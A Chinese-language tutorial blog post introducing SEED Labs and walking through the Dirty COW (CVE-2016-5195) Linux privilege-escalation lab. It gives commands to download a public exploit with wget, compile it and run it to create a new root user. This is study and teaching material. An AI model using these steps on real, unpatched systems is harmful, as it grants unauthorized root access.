[Day26]用SEED来体验漏洞吧

讲完漏洞赛制、实体密室逃脱之後,还有什麽可以实际玩看看漏洞呢?
另外想跟大家分享的是可以实作的靶机:SEED

不是这个SEED

SEED LABS

https://ithelp.ithome.com.tw/upload/images/20201010/201036470hBSI0I8eP.png
SEED 是雪城大学所开放的实验环境,主要以实作来验证相关资讯安全的漏洞。
https://seedsecuritylabs.org/index.html

线上有开源的实验环境可以下载:https://seedsecuritylabs.org/Labs_16.04/
也有相关漏洞验证的线上课程及书籍,不过课程及参考书大部份都是另外付费的。

SEED LABS 提供以下六大领域可以实作:

软件安全实验室

这些实验室涵盖了通用程序中的一些最常见漏洞。

网路安全实验室

涵盖了有关网路安全的主题,从对TCP/IP、DNS的攻击到各种网路安全技术(防火墙,VPN和IPSec)。

网路安全实验室

涵盖了Web应用程序中的一些最常见漏洞。这些实验室向学生展示了攻击如何利用这些漏洞。

系统安全实验室

涵盖了系统和硬体中的攻击和安全机制,包括最近发现的对CPU的Meltdown和Spetre攻击。

密码学实验室

涵盖了密码学中的三个基本概念,包括秘密密钥加密、单向哈希函数以及公共密钥加密和PKI。

移动安全实验室

专注於手机的安全性,涵盖了最常见的漏洞和对移动设备的攻击。这些实验提供了一个Android VM。

官方资源

https://www.handsonsecurity.net/resources.html

再来要来讲个 Dirty COW Attack Lab…

Dirty COW Attack Lab

脏牛(Dirty Cow)是Linux内核的一个提权漏洞,即脏写入时复制(英语:Dirty copy-on-write)。
攻击者可以利用这个漏洞为一般使用者却能写入root权限。
因为这个漏洞利用了Linux的copy-on-write机制。
CVE:CVE-2016-5195。

所以我们可以利用这个 CVE 来做提权。

确认环境及版本

https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions
Check your kernel version with uname -r

  • Ubuntu
    4.8.0-26.28 for Ubuntu 16.10
    4.4.0-45.66 for Ubuntu 16.04 LTS
    3.13.0-100.147 for Ubuntu 14.04 LTS
    3.2.0-113.155 for Ubuntu 12.04 LTS

  • Debian
    3.16.36-1+deb8u2 for Debian 8
    3.2.82-1 for Debian 7
    4.7.8-1 for Debian unstable

获取档案

wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
https://ithelp.ithome.com.tw/upload/images/20201027/20103647z5FpucKkaH.png

编译

gcc -pthread dirty.c -o dirty -lcrypt
https://ithelp.ithome.com.tw/upload/images/20201027/20103647aPs8zWPDDk.png

https://ithelp.ithome.com.tw/upload/images/20201027/20103647JzuJWx2lJT.png

提权

./dirty
执行及比较 etc/passwd 中的内容。
https://ithelp.ithome.com.tw/upload/images/20201027/20103647kikzbjWvBC.png

影响

已建立新使用者,并拥有 root 权限。
https://ithelp.ithome.com.tw/upload/images/20201027/20103647EflhS43vcK.png


<<:  【这些年我似是非懂的 Javascript】Day 27 - 物件 # Part 3 # 特性描述器

>>:  JWT 验证魔术

[访谈] APCS x 资讯科学班 tom1484

最後一位邀请到来自附中资讯科学班的 Tom 来分享~ 影片连结:https://youtu.be/b...

第十一天:学习 Gradle 的第一个指令 - init

花了这麽多时间搞清楚 Gradle 的各种安装方式,接下来就要开始学习使用 Gradle 指令。今天...

【PHP Telegram Bot】Day13 - 基础(2):数学运算与乱数

$x = 3 + 2 * 8 - 2 ** 3; echo $x; // 11 在程序里最常做的事...

利用 Grafana Operator 部署 Grafana 到 OpenShift,并建立客制化的 Dashboard。

在前篇文章中,我已经将 Grafana Operator 部署到 "brandon&quo...

Day 14 来看一下hook是如何测试的 初阶版

今天来讲讲如何来测试hook的原始版本 来,我们来先做一个超简单的hook就叫useName吧 im...